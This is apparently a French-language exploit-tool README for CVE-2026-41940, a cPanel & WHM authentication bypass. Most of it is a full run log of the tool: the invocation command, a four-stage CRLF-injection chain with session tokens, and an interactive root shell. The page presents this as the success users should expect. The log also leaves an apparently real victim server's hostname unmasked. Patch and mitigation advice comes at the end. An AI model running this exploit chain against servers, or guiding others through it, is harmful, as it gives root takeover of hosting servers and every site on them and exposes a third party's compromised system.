⚠️ CVE-2026-41940 - Contournement d'authentification cPanel & WHM

Contournement d'authentification préalable critique dans cPanel & WHM

📌 Aperçu

CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification affectant cPanel & WHM et WP Squared.

Un attaquant distant non authentifié peut contourner complètement la connexion et obtenir un accès administratif complet (root/WHM) au serveur.

Cette faille a été activement exploitée dans la nature avant la publication du correctif.

🎯 Sévérité

🛠️ Produits affectés

cPanel & WHM — Toutes les versions après 11.40 jusqu'au correctif
WP Squared — Versions antérieures à 136.1.7

~1,5 million d'instances cPanel étaient potentiellement exposées au moment de la divulgation.

🔥 Impact

Une exploitation réussie permet aux attaquants de :

Obtenir un accès complet WHM/root
Prendre le contrôle de tous les sites web et comptes hébergés
Modifier les configurations du serveur
Exfiltrer des données sensibles
Déployer des portes dérobées persistantes

✅ Voici à quoi ressemble le SUCCÈS (comme la capture d'écran Eye Security que vous avez montrée) :

Vous devriez voir quelque chose comme ceci si cela fonctionne :

┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2026-41940.py -u https://xx.xx.xx.xx:2087 --action shell                      
[sudo] password for kali: 


 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
  4-stage: preauth → CRLF inject → propagate → verify → post-exploit
  Author : Ashraf Zaryouh / @0xBlackash

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : shell

13:41:18 [SCAN] Starting 4-stage exploit chain... https://xx.xx.xx.xx:2087
13:41:19 [INFO] Canonical hostname discovered: server.xxxxxxx.xx
13:41:19 [INFO] Canonical: server.softsms.in
13:41:19 [STEP] Stage 1/4 — Minting preauth session...
13:41:20 [  OK] Stage1: preauth session = :W43DhFApxxxD8Jdw...
13:41:20 [STEP] Stage 2/4 — CRLF injection via Authorization header...
13:41:21 [  OK] Stage2: HTTP 307 → token=/cpsess263xxxx267
13:41:21 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
13:41:22 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
13:41:22 [STEP] Stage 4/4 — Verifying WHM root access...
13:41:24 [INFO] Stage4: HTTP 200  {"version":"11.86.0.40"}
13:41:24 [PWND] CVE-2026-41940 CONFIRMED — WHM root access!  https://xx.xx.xx.xx:2087
13:41:24 [PWND]   Token    : /cpsess2634xxxx267
13:41:24 [PWND]   Session  : :W43DhFApxxxD8Jdw...
13:41:24 [PWND]   Version  : 11.86.0.40
13:41:24 [PWND]   API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
13:41:24 [ API] Running post-exploit action: shell

════════════════════════════════════════════════════════════
  WHM Shell — server.xxxxxxx.xx
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
13:41:28 [ API] gethostname → HTTP 500
  uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ exit
Exiting shell.

══════════════════════════════════════════════════════════════════════
  CVE-2026-41940.py — CVE-2026-41940 Scan Complete
  Time: 13.9s  ·  Targets: 1
──────────────────────────────────────────────────────────────────────

  ⚡ 1 VULNERABLE TARGET(S)

  Target   : https://xx.xx.xx.xx:2087
  Version  : 11.86.0.40
  Token    : /cpsess263xxxx267
  API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
  Session  : :W43DhFApxxxD8Jdw...
  Evidence : {"version":"11.86.0.40"}

══════════════════════════════════════════════════════════════════════

✅ Versions corrigées

Correctif publié le 28 avril 2026

Mettez à jour cPanel & WHM vers la dernière version
Mettez à jour WP Squared vers la version 136.1.7 ou ultérieure

Action immédiate recommandée

🛡️ Atténuation & Protection

Mettez à jour immédiatement vers la dernière version
Bloquez l'accès public aux ports 2082, 2083, 2086, 2087
Activez les règles WAF (Cloudflare, ModSecurity, etc.)
Utilisez une liste blanche d'IP ou un VPN pour l'accès d'administration

📚 Références

Fait avec ❤️ pour la communauté de la sécurité

Dernière mise à jour : mai 2026

Score CVSS 3.1	9.8 (Critique)
Score CVSS 4.0	9.3 (Critique)
Vecteur d'attaque	Réseau
Complexité	Faible
Privilèges	Aucun
Interaction utilisateur	Aucune

CVE-2026-41940

Populaires